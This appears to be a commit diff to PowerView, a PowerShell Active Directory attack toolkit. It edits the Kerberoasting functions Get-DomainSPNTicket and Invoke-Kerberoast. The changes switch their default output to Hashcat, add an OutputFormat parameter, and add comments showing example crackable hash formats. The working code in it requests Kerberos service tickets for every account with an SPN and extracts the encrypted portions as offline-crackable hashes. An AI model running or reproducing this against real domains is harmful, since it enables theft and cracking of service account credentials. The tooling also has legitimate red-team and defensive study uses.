@@ -2587,7 +2587,7 @@ This function will either take one/more SPN strings, or one/more PowerView.User
25872587(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN
25882588using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
25892589portion of the ticket is then extracted and output in either crackable John or Hashcat
2590- format (deafult of John ).
2590+ format (deafult of Hashcat ).
25912591
25922592.PARAMETER SPN
25932593
@@ -2621,9 +2621,9 @@ Request kerberos service tickets for all SPNs passed on the pipeline.
26212621
26222622.EXAMPLE
26232623
2624- Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
2624+ Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR
26252625
2626- Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format.
2626+ Request kerberos service tickets for all users with non-null SPNs and output in JTR format.
26272627
26282628.INPUTS
26292629
@@ -2661,7 +2661,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
26612661 [ValidateSet('John', 'Hashcat')]
26622662 [Alias('Format')]
26632663 [String]
2664- $OutputFormat = 'John ',
2664+ $OutputFormat = 'Hashcat ',
26652665
26662666 [Management.Automation.PSCredential]
26672667 [Management.Automation.CredentialAttribute()]
@@ -2715,6 +2715,10 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
27152715
27162716 $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
27172717
2718+ $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
2719+ $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
2720+ $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
2721+
27182722 # TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
27192723 # No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP_REQ.Ticket object
27202724 if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<CipherTextLen>....)........(?<DataToEnd>.+)') {
@@ -2724,7 +2728,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
27242728
27252729 # Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator object
27262730 if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
2727- Write-Warning ' Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"'
2731+ Write-Warning " Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"
27282732 $Hash = $null
27292733 $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-',''))
27302734 } else {
@@ -2738,6 +2742,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
27382742 }
27392743
27402744 if($Hash) {
2745+ # JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe...
27412746 if ($OutputFormat -match 'John') {
27422747 $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
27432748 }
@@ -2749,17 +2754,14 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
27492754 $UserDomain = 'UNKNOWN'
27502755 }
27512756
2752- # hashcat output format
2757+ # hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe...
27532758 $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
27542759 }
27552760 $Out | Add-Member Noteproperty 'Hash' $HashFormat
27562761 }
27572762
2758- $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
2759- $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
2760- $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
27612763 $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
2762- Write-Output $Out
2764+ $Out
27632765 }
27642766 }
27652767 }
@@ -2786,6 +2788,7 @@ Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-Domain
27862788
27872789Uses Get-DomainUser to query for user accounts with non-null service principle
27882790names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
2791+ The ticket format can be specified with -OutputFormat <John/Hashcat>.
27892792
27902793.PARAMETER Identity
27912794
@@ -2826,6 +2829,11 @@ Specifies the maximum amount of time the server spends searching. Default of 120
28262829
28272830Switch. Specifies that the searcher should also return deleted/tombstoned objects.
28282831
2832+ .PARAMETER OutputFormat
2833+
2834+ Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
2835+ Defaults to 'Hashcat'.
2836+
28292837.PARAMETER Credential
28302838
28312839A [Management.Automation.PSCredential] object of alternate credentials
@@ -2835,14 +2843,14 @@ for connection to the target domain.
28352843
28362844Invoke-Kerberoast | fl
28372845
2838- Kerberoasts all found SPNs for the current domain.
2846+ Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default) .
28392847
28402848.EXAMPLE
28412849
28422850Invoke-Kerberoast -Domain dev.testlab.local | fl
28432851
2844- Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat
2845- format instead of John (the default) .
2852+ Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR
2853+ format instead of Hashcat .
28462854
28472855.EXAMPLE
28482856
@@ -2902,6 +2910,11 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
29022910 [Switch]
29032911 $Tombstone,
29042912
2913+ [ValidateSet('John', 'Hashcat')]
2914+ [Alias('Format')]
2915+ [String]
2916+ $OutputFormat = 'Hashcat',
2917+
29052918 [Management.Automation.PSCredential]
29062919 [Management.Automation.CredentialAttribute()]
29072920 $Credential = [Management.Automation.PSCredential]::Empty
@@ -2929,7 +2942,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
29292942
29302943 PROCESS {
29312944 if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
2932- Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket
2945+ Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
29332946 }
29342947
29352948 END {
0 commit comments